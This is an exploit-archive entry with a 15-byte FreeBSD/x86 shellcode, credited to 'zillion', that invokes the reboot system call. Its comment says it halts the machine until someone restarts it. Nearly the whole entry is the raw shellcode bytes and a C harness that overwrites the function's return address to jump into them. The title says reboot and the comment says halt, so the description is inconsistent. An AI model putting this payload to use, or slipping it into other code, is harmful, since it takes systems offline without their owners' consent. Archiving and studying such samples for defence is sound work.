FreeBSD/x86 - reboot() Shellcode (15 bytes)

Author: zillion
type: 
platform: freebsd_x86
port: 15.0
date_added: 2018-01-11 
date_updated: 2018-01-16 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

/*

FreeBSD reboot() shellcode

This will halt a system, which takes it offline until someone reboots it.

Written by zillion (at safemode.org

*/

char shellcode[] =
        "\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80";

int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}